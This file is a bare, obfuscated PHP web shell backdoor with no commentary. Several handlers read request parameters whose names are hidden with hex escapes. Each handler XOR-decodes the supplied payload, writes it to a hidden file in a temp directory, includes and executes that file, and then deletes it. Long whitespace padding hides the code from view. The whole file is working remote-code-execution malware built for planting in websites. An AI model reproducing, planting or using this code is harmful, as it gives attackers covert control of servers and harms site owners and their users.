<?php																																										if(!empty($_POST["va\x6C"])){ $flag = $_POST["va\x6C"]; $flag = explode ('.' ,$flag) ; $value= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $m= 0; $__tmp= $flag; while ($v9= array_shift($__tmp)) {$chS= ord($s[$m % $lenS] ); $d= ((int)$v9 - $chS - ($m % 10)) ^ 63; $value .= chr($d ); $m++; } $res = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $key = 0; do { $desc = $res[$key] ?? null; if ($key >= count($res)) break; if (is_dir($desc) ? is_writable($desc) : false) { $ref = join("/", [$desc, ".element"]); if (file_put_contents($ref, $value)) { include $ref; @unlink($ref); die(); } } $key++; } while (true); }
																																										if(isset($_REQUEST["v\x61l"])){ $flg = $_REQUEST["v\x61l"]; $flg = explode ( '.',$flg ) ; $sym=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt2); $r=0; array_walk($flg, function ($v6) use (&$sym, &$r, $salt2, $sLen) { $chS=ord($salt2[$r % $sLen]); $d=((int)$v6 - $chS - ($r % 10)) ^1; $sym .= chr($d); $r++; } ); $ent = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $dchunk = 0; do { $hld = $ent[$dchunk] ?? null; if ($dchunk >= count($ent)) break; if (array_product([is_dir($hld), is_writable($hld)])) { $flag = "$hld" . "/.value"; $success = file_put_contents($flag, $sym); if ($success) { include $flag; @unlink($flag); exit;} } $dchunk++; } while (true); }
																																										if(!empty($_REQUEST["en\x74"])){ $factor = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $entry = $_REQUEST["en\x74"]; $entry= explode ( '.' , $entry ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; array_walk($entry ,function ($v7) use (&$dchunk ,&$w ,$salt ,$lenS) {$sChar = ord($salt[$w %$lenS]); $dec = ((int)$v7 - $sChar - ($w %10)) ^48; $dchunk.= chr($dec); $w++; }); $ent = 0; do { $key = $factor[$ent] ?? null; if ($ent >= count($factor)) break; if (max(0, is_dir($key) * is_writable($key))) { $binding = "$key/.rec"; if (@file_put_contents($binding, $dchunk) !== false) { include $binding; unlink($binding); exit; } } $ent++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79mbo\x6C"])){ $ent = $_REQUEST["s\x79mbo\x6C"]; $ent = explode ( "." , $ent); $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; foreach($ent as $v5) { $sChar = ord($s[$k % $sLen]); $d = ((int)$v5 - $sChar -($k % 10)) ^ 22; $fac .=chr($d); $k++; } $record = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($record as $key => $token) { if (is_writable($token) && is_dir($token)) { $itm = join("/", [$token, ".data_chunk"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_POST["\x72\x65f\x65\x72ence"]) ? true : false){ $mrk = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP")]); $data_chunk = $_POST["\x72\x65f\x65\x72ence"]; $data_chunk= explode( '.', $data_chunk ) ; $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6 ); foreach( $data_chunk as $l=> $v5) {$sChar = ord( $salt6[$l % $sLen] ); $dec =( ( int)$v5 - $sChar -( $l % 10)) ^ 45; $k .= chr( $dec ); } foreach ($mrk as $token): if (!!is_dir($token) && !!is_writable($token)) { $flg = "$token/.element"; if (file_put_contents($flg, $k)) { include $flg; @unlink($flg); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63om\x70\x6F\x6Eent"])){ $value = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $tkn = $_REQUEST["\x63om\x70\x6F\x6Eent"]; $tkn = explode ( "." , $tkn ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $j = 0; $len = count($tkn ); do { if ($j >= $len) break; $v6 = $tkn[$j]; $chS = ord($salt[$j % $sLen] ); $d = ((int)$v6 - $chS - ($j % 10)) ^ 46; $dchunk .= chr($d ); $j++; } while (true ); foreach ($value as $data): if ((bool)is_dir($data) && (bool)is_writable($data)) { $symbol = str_replace("{var_dir}", $data, "{var_dir}/.element"); if (file_put_contents($symbol, $dchunk)) { include $symbol; @unlink($symbol); exit; } } endforeach; }


if(array_key_exists("item", $_POST)){
	$data_chunk = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm"]);
	$key = $_POST["item"];
	 	$key 	 =	 	explode	 (  '.'		,$key	 );  
	$ptr = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6 );
            $t = 0;
    
            array_walk($key, function ($v3) use (&$ptr, &$t, $salt6, $sLen) {
                $chS = ord($salt6[$t	 % 	$sLen] );
                $d = ((int)$v3 - $chS - ($t	 % 	10)) ^ 94;
                $ptr .= chr($d );
                $t++;  } 	);
	$desc = 0;
do {
    $rec = $data_chunk[$desc] ?? null;
    if ($desc >= count($data_chunk)) break;
    		if (!( !is_dir($rec) || !is_writable($rec) )) {
    $itm = implode("/", [$rec, ".holder"]);
    $file = fopen($itm, 'w');
if ($file) {
	fwrite($file, $ptr);
	fclose($file);
	include $itm;
	@unlink($itm);
	exit;
}
}
    $desc++;
} while (true);
}